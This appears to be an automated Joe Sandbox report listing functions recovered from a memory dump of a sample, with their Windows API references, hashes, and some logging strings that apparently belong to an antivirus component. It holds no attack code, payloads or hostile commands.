Function 00007FFE1A5276E0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFE1A527759
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE1A527771
RtlVirtualUnwind.KERNEL32 ref: 00007FFE1A5277AC
IsDebuggerPresent.KERNEL32 ref: 00007FFE1A5277E5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE1A5277EF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE1A5277FA

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction ID: 4e356181fd72b215c4a2802df1f7af789955a1514efd47d4cd5521499a927c6a
Opcode Fuzzy Hash: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction Fuzzy Hash: 8F316036708F8186DB60CB66E8402BE33A1FB85BA4F5401B7EA8D43B65EF38D145CB00

Function 000000014000A370 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000014000A3AF
GetCurrentProcessId.KERNEL32 ref: 000000014000A3BA
GetCurrentThreadId.KERNEL32 ref: 000000014000A3C6
GetTickCount.KERNEL32 ref: 000000014000A3D2
QueryPerformanceCounter.KERNEL32 ref: 000000014000A3E3

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction ID: 72e860a1e5610cf2f60718b33953b9e9cfa3de8eae9ff42976e828aecb981d5d
Opcode Fuzzy Hash: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction Fuzzy Hash: 4101F775255B4082EB928F26F9403957360F74EBA0F456220FFAE4B7B4DA3DCA958700

Function 0000000140004630 Relevance: 5.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046B0
HeapReAlloc.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046C1

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction ID: 02c5a1d02253778f48d8bcd65850d79aa5baad65f26a42f950a3123f4edab52d
Opcode Fuzzy Hash: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction Fuzzy Hash: CB31D1B2715A8082EB06CF57F44039863A0F74DBC4F584025EF5D57B69EB39C8A28704

Function 00000001400106B0 Relevance: 4.5, APIs: 3, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001400106EF
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140010735
UnhandledExceptionFilter.KERNEL32 ref: 0000000140010740

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContext
String ID:
API String ID: 2202868296-0
Opcode ID: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction ID: a6869a7b9d4117274e99734abe304e52ce4a6a571683f9898e15e7d65764808a
Opcode Fuzzy Hash: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction Fuzzy Hash: 44014C31218A8482E7269B62F4543DA62A0FBCD385F440129B78E0B6F6DF3DC544CB01

Function 00007FFE1A530248 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFE1A530497
RaiseException.KERNEL32 ref: 00007FFE1A5304A8

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction ID: 3bce42a7c55fc869914d54f505c2ca51c90d060c4033b23d7c8fe6e868c19af0
Opcode Fuzzy Hash: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction Fuzzy Hash: ACB13B73609B898BEB15CF2AC44636C3BA0FB85F68F1589A2DA5D837B4CB39D451C700

Function 00000001400103D0 Relevance: 3.2, APIs: 2, Instructions: 183COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000001400105C2
GetLastError.KERNEL32 ref: 00000001400105ED

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction ID: 2a1840496c7657cf23b6901bcaaf21815035fe120b0a860a82176d8039cbaff9
Opcode Fuzzy Hash: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction Fuzzy Hash: C871DF72A04AA086F7A3DF12E441BDA72A1F78CBD4F148121FF880B7A5DB798851CB10

Function 0000000140010CF0 Relevance: 3.1, APIs: 2, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction ID: 31705e6bd3fe747407dbe92e60a9b5f63bdbefd7c066999fadf2412e4a74ef82
Opcode Fuzzy Hash: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction Fuzzy Hash: BD312B3260066442F723AF77F845BDE7651AB987E0F254224BB690B7F2CFB9C4418300

Function 00007FFE1A52A1B8 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction ID: a2e2cb70dccc353ae14135b3e8bfcc278ecc912ca6f25dce95b5038835a61791
Opcode Fuzzy Hash: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction Fuzzy Hash: 9B51C762B0CA81C5EB209BB2A84457A7BA6AB55FA4F1441B7EF5C27AA5DF3CD401C700

Function 0000000140011270 Relevance: 1.6, APIs: 1, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: EntryFunctionLookup
String ID:
API String ID: 3852435196-0
Opcode ID: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction ID: 0a16dca171e58903ec1b218c91cdb1b04bf095347935d32e98aab42d926b4c07
Opcode Fuzzy Hash: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction Fuzzy Hash: 7A316D33700A5482DB15CF16F484BA9B724F788BE8F868102EF2D47B99EB35D592C704

Function 000000014000DDD9 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 000000014000E388

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction ID: 9b910ad21b0c4e6c2a4c619a0863cbecb71c4e07d0bd79d978466706db7fd7a1
Opcode Fuzzy Hash: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction Fuzzy Hash: 2FD1DEF25087C486F7A2DE16B5083AABAA0F7593E4F240115FF9527AF5E779C884CB40

Function 000000014000F370 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 000000014000F398

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction ID: a72933d7652eee1ce42449f64e4370b365fbcbea739f10b8ca5cd41f8ceea018
Opcode Fuzzy Hash: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction Fuzzy Hash: EDF0FEF261468085EA62EB22B4123DA6750A79D7A8F800216FB9D476BADE3DC2558A00

Function 000000014000E178 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction ID: 5aef184856849f1d0e814b0a8e39d0e8e949ccad25035a2bf8530ae42cfb47ec
Opcode Fuzzy Hash: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction Fuzzy Hash: 5CB1CFF36086C482F7A6CE16B6083AABAA5F7597D4F240115FF4973AF4D779C8808B00

Function 000000014000DFFE Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction ID: 5cc8c865c9461daf8b0756d8ed2731e20d175c685145385c3f78aef56f479fea
Opcode Fuzzy Hash: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction Fuzzy Hash: 5FB1A0F26087C486F772CF16B5043AABAA1F7997D4F240115FF5923AE4DBB9C9848B40

Function 00000001400092E0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00000001400092EB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction ID: 6026514bbd401dabfdc0327cb8eb2cc9cc42ab70edfd582905dc0376ef34508b
Opcode Fuzzy Hash: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction Fuzzy Hash: 37B09260A61400D1D605AF22AC8538022A0775C340FC00410E20986130DA3C819A8700

Function 000000014000DEFB Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction ID: f0a9775499ae8e11c0cd3741dc570bab2f5201344a81d2c1a5008a9dc88a1dca
Opcode Fuzzy Hash: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction Fuzzy Hash: 7E91D4F2A047C485FBB2CE16B6083AA7AE0B7597E4F141516FF49236F4DB79C9448B40

Function 000000014000DDFF Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction ID: 8f8310eeb878d4aa74977829efb49c2c7de80d27e4d4fb150cd5d5e4432a17d7
Opcode Fuzzy Hash: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction Fuzzy Hash: 51818FB26087C485F7B2CE16B5083AA7AA0F7997D8F141116FF45636F4DB79C984CB40

Function 000000014000DE96 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction ID: f8efd74c2ac63e8556513dce229926bc74ff59f5ae5890729ffd39c1599aad0a
Opcode Fuzzy Hash: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction Fuzzy Hash: BE81B0F2608BC486F7A2CE16B5083AA7AA1F7587E4F140515FF59236F4DB79C984CB40

Function 000000014000CC00 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction ID: 63b5043dbdffafa71f1ddaca105bc0afa02b2cba45448f866c4c658d1faf9303
Opcode Fuzzy Hash: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction Fuzzy Hash: B031B0B262129045F317AF37F941FAE7652AB897E0F514626FF29477E2CA3C88028704

Function 000000014000C2A0 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction ID: b610fbdfd0d7c5655a75ac718b847164fa7f0802b4cc155a4829149d785d36e6
Opcode Fuzzy Hash: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction Fuzzy Hash: FE317EB262129445F717AF37B942BAE7652AB887F0F519716BF39077E2CA7C88018710

Function 00000001400110F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction ID: e0c281a5a51834f3cf9ef76d9d4ef001c4a7356b2a993cafd714ca14a0116626
Opcode Fuzzy Hash: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction Fuzzy Hash: F831E472A1029056F31BAF77F881BDEB652A7C87E0F655629BB190B7E3CA3D84008700

Function 00007FFE1A52FD40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction ID: 76992c8e738af5ab360d327effb16b729809d03812425a59a302f3e32781cdb6
Opcode Fuzzy Hash: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction Fuzzy Hash: 58F0C8B171C6518AEB958F29A402A3937D0EB48790F8484BED58C83B14C63C84609F04

Function 00000001400038D0 Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 239
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWaitableTimer.KERNEL32 ref: 000000014000390C
#4.VSELOG ref: 000000014000395D
#4.VSELOG ref: 000000014000398D
EnterCriticalSection.KERNEL32 ref: 0000000140003996
LeaveCriticalSection.KERNEL32 ref: 00000001400039A7
WaitForMultipleObjects.KERNEL32 ref: 00000001400039CB
#4.VSELOG ref: 0000000140003A04
EnterCriticalSection.KERNEL32 ref: 0000000140003A0D
SetEvent.KERNEL32 ref: 0000000140003A52
ResetEvent.KERNEL32 ref: 0000000140003A5F
LeaveCriticalSection.KERNEL32 ref: 0000000140003A70
#4.VSELOG ref: 0000000140003AA1
#4.VSELOG ref: 0000000140003AD5

Strings

amps_Listen: pHandle=%peventId: %d, xrefs: 0000000140003AC4
amps_Listen: pHandle=%pdetection name: %s, xrefs: 0000000140003BB2
amps_Listen: pHandle=%pobject name: %s, xrefs: 0000000140003B02
amps_Listen: pHandle=%pobject type: %d, xrefs: 0000000140003B3D
amps_Listen: pHandle=%paction taken: %d, xrefs: 0000000140003CC7
amps_Listen: pHandle=%p, p=%p, xrefs: 0000000140003949
amps_Listen: pHandle=%pdetection component type: %d, xrefs: 0000000140003C93
amps_Listen: pHandle=%pdetection type: %d, xrefs: 0000000140003C5F
amps_Listen: pHandle=%p, message is:, xrefs: 0000000140003A90
null, xrefs: 0000000140003AEF
